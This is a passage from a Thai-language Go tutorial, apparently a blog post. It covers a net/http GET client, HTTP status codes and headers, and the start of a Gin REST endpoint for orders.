&#xE17;&#xE35;&#xE48;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE08;&#xE32;&#xE01;&#xE41;&#xE2B;&#xE25;&#xE48;&#xE07;&#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE48;&#xE07;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE31;&#xE19; &#xE25;&#xE2D;&#xE07;&#xE19;&#xE36;&#xE01;&#xE20;&#xE32;&#xE1E;&#xE27;&#xE48;&#xE32;&#xE21;&#xE31;&#xE19;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE16;&#xE48;&#xE32;&#xE22;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE04;&#xE31;&#xE14;&#xE25;&#xE2D;&#xE01;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE43;&#xE19;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27;</p><pre><code>package main

import (
	&quot;fmt&quot;
	&quot;io&quot;
	&quot;log&quot;
	&quot;net/http&quot;
)

func main() {
	// URL &#xE02;&#xE2D;&#xE07; Server &#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;
	url := &quot;http://localhost:8080&quot;

	// &#xE2A;&#xE48;&#xE07; GET Request &#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Server
	response, err := http.Get(url)
	if err != nil {
		log.Fatalf(&quot;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE48;&#xE07; request: %v\n&quot;, err)
	}
	// &#xE1B;&#xE34;&#xE14; Response Body &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D; Function &#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;
	defer response.Body.Close()

	// &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE23;&#xE2B;&#xE31;&#xE2A;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE02;&#xE2D;&#xE07; HTTP Response
	if response.StatusCode != http.StatusOK {
		log.Fatalf(&quot;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE44;&#xE14;&#xE49;, &#xE23;&#xE2B;&#xE31;&#xE2A;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;: %d\n&quot;, response.StatusCode)
	}

	// &#xE2D;&#xE48;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01; Response Body &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; io.ReadAll
	body, err := io.ReadAll(response.Body)
	if err != nil {
		log.Fatalf(&quot;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE48;&#xE32;&#xE19; Response: %v\n&quot;, err)
	}

	// &#xE41;&#xE2A;&#xE14;&#xE07;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;
	fmt.Printf(&quot;Status Code: %d\n&quot;, response.StatusCode)
	fmt.Printf(&quot;Content-Type: %s\n&quot;, response.Header.Get(&quot;Content-Type&quot;))
	fmt.Printf(&quot;Body: %s\n&quot;, string(body))
}
</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/Screenshot-2567-09-19-at-06.26.50.png" class="kg-image" alt loading="lazy" width="2000" height="1801" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/Screenshot-2567-09-19-at-06.26.50.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/Screenshot-2567-09-19-at-06.26.50.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/09/Screenshot-2567-09-19-at-06.26.50.png 1600w, https://blog.pjjop.org/content/images/2024/09/Screenshot-2567-09-19-at-06.26.50.png 2272w" sizes="(min-width: 720px) 720px"></figure><p><strong>&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE2B;&#xE15;&#xE38;</strong><br>response.StatusCode &#xE41;&#xE25;&#xE30; response.Header &#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE08;&#xE41;&#xE25;&#xE30;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A; HTTP Response &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE08;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49; Application &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE01;&#xE32;&#xE23;&#xE13;&#xE4C;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;</p><p><strong>response.StatusCode</strong> &#xE04;&#xE37;&#xE2D; &#xE1F;&#xE34;&#xE25;&#xE14;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE23;&#xE2B;&#xE31;&#xE2A;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE02;&#xE2D;&#xE07; HTTP Response <strong>&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE31;&#xE27;&#xE40;&#xE25;&#xE02;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE40;&#xE15;&#xE47;&#xE21;</strong> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE27;&#xE48;&#xE32;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; Request &#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE25;&#xE49;&#xE21;&#xE40;&#xE2B;&#xE25;&#xE27;</p><p>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE04;&#xE48;&#xE32; response.StatusCode</p><pre><code>200: OK (&#xE01;&#xE32;&#xE23;&#xE23;&#xE49;&#xE2D;&#xE07;&#xE02;&#xE2D;&#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08;)
	- http.StatusOK
    
201: Created (&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE17;&#xE23;&#xE31;&#xE1E;&#xE22;&#xE32;&#xE01;&#xE23;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08;)
	- http.StatusCreated
    
400: Bad Request (&#xE04;&#xE33;&#xE02;&#xE2D;&#xE44;&#xE21;&#xE48;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;)
	- http.StatusBadRequest
    
401: Unauthorized (&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE01;&#xE32;&#xE23;&#xE22;&#xE37;&#xE19;&#xE22;&#xE31;&#xE19;&#xE15;&#xE31;&#xE27;&#xE15;&#xE19;)
	- http.StatusUnauthorized
    
403: Forbidden (&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;)
	- http.StatusForbidden
    
404: Not Found (&#xE44;&#xE21;&#xE48;&#xE1E;&#xE1A;&#xE17;&#xE23;&#xE31;&#xE1E;&#xE22;&#xE32;&#xE01;&#xE23;&#xE17;&#xE35;&#xE48;&#xE23;&#xE49;&#xE2D;&#xE07;&#xE02;&#xE2D;)
	- http.StatusNotFound
    
500: Internal Server Error (&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19; Server)
	- http.StatusInternalServerError</code></pre><p><strong>response.Header</strong> &#xE08;&#xE32;&#xE01;&#xE43;&#xE19; Code &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; <code>fmt.Printf(&quot;Content-Type: %s\n&quot;, response.Header.Get(&quot;Content-Type&quot;))</code> &#xE40;&#xE1B;&#xE47;&#xE19; Map &#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A; HTTP Header &#xE02;&#xE2D;&#xE07; Response (Key-value Pair)</p><p>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; Header (Key)</p><pre><code>Content-Type: &#xE23;&#xE30;&#xE1A;&#xE38;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE19;&#xE37;&#xE49;&#xE2D;&#xE2B;&#xE32;&#xE43;&#xE19; Response Body
Content-Length: &#xE23;&#xE30;&#xE1A;&#xE38;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE32;&#xE27;&#xE02;&#xE2D;&#xE07; Response Body
Set-Cookie: &#xE43;&#xE0A;&#xE49;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Cookie
Authorization: &#xE43;&#xE0A;&#xE49;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE22;&#xE37;&#xE19;&#xE22;&#xE31;&#xE19;&#xE15;&#xE31;&#xE27;&#xE15;&#xE19;
Cache-Control: &#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21;&#xE01;&#xE32;&#xE23; Cache
Location: &#xE43;&#xE0A;&#xE49;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23; Redirect</code></pre><p><strong>Gin &#xE40;&#xE1B;&#xE47;&#xE19; Web Framework &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Web Application &#xE43;&#xE19; Go</strong></p><p>Gin &#xE40;&#xE1B;&#xE47;&#xE19; Framework &#xE17;&#xE35;&#xE48;&#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; API &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE23;&#xE47;&#xE27; &#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Middleware &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Request/Response &#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE22;&#xE37;&#xE14;&#xE2B;&#xE22;&#xE38;&#xE48;&#xE19; &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE21;&#xE35; Function &#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08;&#xE23;&#xE39;&#xE1B;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Validate &#xE41;&#xE25;&#xE30; Parse JSON &#xE40;&#xE1B;&#xE47;&#xE19; struct</p><p>&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Gin &#xE40;&#xE1B;&#xE47;&#xE19;&#xE17;&#xE32;&#xE07;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE17;&#xE35;&#xE48;&#xE14;&#xE35;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Web Application &#xE2B;&#xE23;&#xE37;&#xE2D; API &#xE43;&#xE19; Go &#xE42;&#xE14;&#xE22;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE04;&#xE27;&#xE32;&#xE21;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E; &#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE17;&#xE35;&#xE48;&#xE23;&#xE27;&#xE14;&#xE40;&#xE23;&#xE47;&#xE27; &#xE41;&#xE25;&#xE30; Feature &#xE17;&#xE35;&#xE48;&#xE2B;&#xE25;&#xE32;&#xE01;&#xE2B;&#xE25;&#xE32;&#xE22; &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21; &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Project &#xE02;&#xE19;&#xE32;&#xE14;&#xE40;&#xE25;&#xE47;&#xE01; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE07;&#xE32;&#xE19;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21;&#xE17;&#xE38;&#xE01;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE02;&#xE2D;&#xE07; Application &#xE14;&#xE49;&#xE27;&#xE22;&#xE15;&#xE31;&#xE27;&#xE40;&#xE2D;&#xE07; &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Standard Library &quot;net/http&quot; &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE47;&#xE2D;&#xE32;&#xE08;&#xE40;&#xE1E;&#xE35;&#xE22;&#xE07;&#xE1E;&#xE2D;</p><pre><code>package main

import (
	&quot;log&quot;
	&quot;net/http&quot;

	&quot;github.com/gin-gonic/gin&quot;
)

func welcomeHandler(c *gin.Context) {
	c.String(http.StatusOK, &quot;&#xE22;&#xE34;&#xE19;&#xE14;&#xE35;&#xE15;&#xE49;&#xE2D;&#xE19;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE39;&#xE48;&#xE40;&#xE27;&#xE47;&#xE1A;&#xE44;&#xE0B;&#xE15;&#xE4C;&#xE02;&#xE2D;&#xE07;&#xE09;&#xE31;&#xE19;!&quot;)
}

func main() {
	r := gin.Default()
	r.GET(&quot;/&quot;, welcomeHandler)

	log.Println(&quot;&#xE40;&#xE0B;&#xE34;&#xE23;&#xE4C;&#xE1F;&#xE40;&#xE27;&#xE2D;&#xE23;&#xE4C;&#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE17;&#xE35;&#xE48;&#xE1E;&#xE2D;&#xE23;&#xE4C;&#xE15; 8080...&quot;)
	err := r.Run(&quot;:8080&quot;)
	if err != nil {
		log.Fatalf(&quot;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE40;&#xE0B;&#xE34;&#xE23;&#xE4C;&#xE1F;&#xE40;&#xE27;&#xE2D;&#xE23;&#xE4C;: %v\n&quot;, err)
	}
}
</code></pre><p>&#xE43;&#xE19; Gin &#xE40;&#xE23;&#xE32;&#xE40;&#xE23;&#xE48;&#xE34;&#xE21;&#xE15;&#xE49;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22; <strong>gin.Default()</strong> &#xE41;&#xE25;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A; Method GET &#xE14;&#xE49;&#xE27;&#xE22; <strong>r.GET(&quot;/&quot;, welcomeHandler)</strong> &#xE41;&#xE17;&#xE19; http.HandleFunc() &#xE41;&#xE25;&#xE30; <strong>r.Run()</strong> &#xE41;&#xE17;&#xE19; http.ListenAndServe() &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; Code &#xE2D;&#xE48;&#xE32;&#xE19;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE08;&#xE07;&#xE48;&#xE32;&#xE22;&#xE02;&#xE36;&#xE49;&#xE19;</p><p>&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Gin &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE0B;&#xE37;&#xE49;&#xE2D;&#xE0A;&#xE38;&#xE14;&#xE23;&#xE49;&#xE32;&#xE19;&#xE04;&#xE49;&#xE32;&#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08;&#xE23;&#xE39;&#xE1B;&#xE17;&#xE35;&#xE48;&#xE21;&#xE32;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE2D;&#xE38;&#xE1B;&#xE01;&#xE23;&#xE13;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19; &#xE41;&#xE17;&#xE19;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE23;&#xE49;&#xE32;&#xE19;&#xE04;&#xE49;&#xE32;&#xE14;&#xE49;&#xE27;&#xE22;&#xE2D;&#xE38;&#xE1B;&#xE01;&#xE23;&#xE13;&#xE4C;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE23;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE17;&#xE38;&#xE01;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE2D;&#xE07;</p><p>Handler Function &#xE43;&#xE19; Gin &#xE08;&#xE30;&#xE23;&#xE31;&#xE1A; Parameters &#xE40;&#xE1E;&#xE35;&#xE22;&#xE07;&#xE15;&#xE31;&#xE27;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27; &#xE04;&#xE37;&#xE2D; c &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Type &#xE40;&#xE1B;&#xE47;&#xE19; *gin.Context</p><pre><code>func welcomeHandler(c *gin.Context)</code></pre><p><strong>gin.Context</strong> &#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE25;&#xE48;&#xE2D;&#xE07;&#xE43;&#xE2A;&#xE48;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE17;&#xE35;&#xE48; Gin &#xE2A;&#xE48;&#xE07;&#xE21;&#xE32;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32; &#xE17;&#xE31;&#xE49;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; Request &#xE41;&#xE25;&#xE30; Response</p><p>&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE15;&#xE2D;&#xE1A;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Client <code>&#xE22;&#xE34;&#xE19;&#xE14;&#xE35;&#xE15;&#xE49;&#xE2D;&#xE19;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE39;&#xE48;&#xE40;&#xE27;&#xE47;&#xE1A;&#xE44;&#xE0B;&#xE15;&#xE4C;&#xE02;&#xE2D;&#xE07;&#xE09;&#xE31;&#xE19;!</code> &#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; Handler Function <code>welcomeHandler</code> &#xE14;&#xE49;&#xE32;&#xE19;&#xE1A;&#xE19; &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE2A;&#xE48;&#xE07;&#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <strong>c.String() </strong>&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE23;&#xE2B;&#xE31;&#xE2A;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30; HTTP 200 &#xE0B;&#xE36;&#xE48;&#xE07;&#xE2B;&#xE21;&#xE32;&#xE22;&#xE16;&#xE36;&#xE07;&#xE17;&#xE38;&#xE01;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE23;&#xE49;&#xE2D;&#xE22;&#xE14;&#xE35;</p><pre><code>c.String(http.StatusOK, &quot;&#xE22;&#xE34;&#xE19;&#xE14;&#xE35;&#xE15;&#xE49;&#xE2D;&#xE19;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE39;&#xE48;&#xE40;&#xE27;&#xE47;&#xE1A;&#xE44;&#xE0B;&#xE15;&#xE4C;&#xE02;&#xE2D;&#xE07;&#xE09;&#xE31;&#xE19;!&quot;)</code></pre><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; REST API &#xE40;&#xE2A;&#xE49;&#xE19; (Endpoint) <code>GET /orders/{order_id}</code> &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE31;&#xE19; Server &#xE41;&#xE25;&#xE30;&#xE2A;&#xE48;&#xE07; GET Request &#xE44;&#xE1B;&#xE17;&#xE35;&#xE48; URL <code>http://localhost:8080/orders/123</code> (&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19; 123 &#xE40;&#xE1B;&#xE47;&#xE19; order_id &#xE2D;&#xE37;&#xE48;&#xE19; &#xE46;) &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A; Response &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; JSON &#xE43;&#xE19;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&#xE19;&#xE35;&#xE49;</p><pre><code>{
    &quot;orderid&quot;: &quot;123&quot;,
    &quot;created_at&quot;: &quot;2024-08-14T15:27:27+07:00&quot;,
    &quot;estimated_delivery&quot;: &quot;2024-08-17T15:27:27+07:00&quot;
}</code></pre><p>&#xE42;&#xE14;&#xE22;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; Order &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE19; API (<strong>json:&quot;-&quot;</strong> &#xE2B;&#xE21;&#xE32;&#xE22;&#xE16;&#xE36;&#xE07;&#xE44;&#xE21;&#xE48;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE1F;&#xE34;&#xE25;&#xE14;&#xE4C;&#xE19;&#xE35;&#xE49;&#xE43;&#xE19; JSON) &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>type Order struct {
    OrderID           string    `json:&quot;orderid&quot;`
    CreatedAt         string    `json:&quot;created_at&quot;`
    EstimatedDelivery string    `json:&quot;estimated_delivery&quot;`
    DeliveryDays      int       `json:&quot;-&quot;`
}</code></pre><p><strong>&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE2B;&#xE15;&#xE38;</strong> &#xE40;&#xE23;&#xE32;&#xE43;&#xE0A;&#xE49; Tag <code>json:&quot;orderid&quot;</code> &#xE43;&#xE19; Struct &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE02;&#xE2D;&#xE07; Go Standard Library &#xE43;&#xE19; Package <code>encoding/json</code> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21;&#xE27;&#xE34;&#xE18;&#xE35;&#xE01;&#xE32;&#xE23;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07; Go Struct &#xE01;&#xE31;&#xE1A; JSON &#xE40;&#xE0A;&#xE48;&#xE19; &#xE41;&#xE1B;&#xE25;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D; Filed <code>OrderID</code> &#xE40;&#xE1B;&#xE47;&#xE19; <code>orderid</code> &#xE43;&#xE19; JSON</p><p>Function &quot;getOrderHandler()&quot; &#xE08;&#xE30;&#xE23;&#xE31;&#xE1A; order_id &#xE08;&#xE32;&#xE01; URL &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <strong>c.Param()</strong> &#xE41;&#xE25;&#xE49;&#xE27;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; Order &#xE08;&#xE33;&#xE25;&#xE2D;&#xE07; (&#xE43;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE08;&#xE23;&#xE34;&#xE07;&#xE08;&#xE30;&#xE14;&#xE36;&#xE07;&#xE08;&#xE32;&#xE01; Database) &#xE41;&#xE25;&#xE49;&#xE27;&#xE08;&#xE36;&#xE07;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE27;&#xE31;&#xE19;&#xE17;&#xE35;&#xE48;&#xE17;&#xE35;&#xE48;&#xE04;&#xE32;&#xE14;&#xE27;&#xE48;&#xE32;&#xE08;&#xE30;&#xE2A;&#xE48;&#xE07;&#xE21;&#xE2D;&#xE1A;&#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; UTC &#xE41;&#xE25;&#xE30;&#xE2A;&#xE48;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE40;&#xE1B;&#xE47;&#xE19; JSON &#xE14;&#xE49;&#xE27;&#xE22; <strong>c.JSON()</strong></p><p>&#xE41;&#xE15;&#xE48;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE2A;&#xE48;&#xE07; 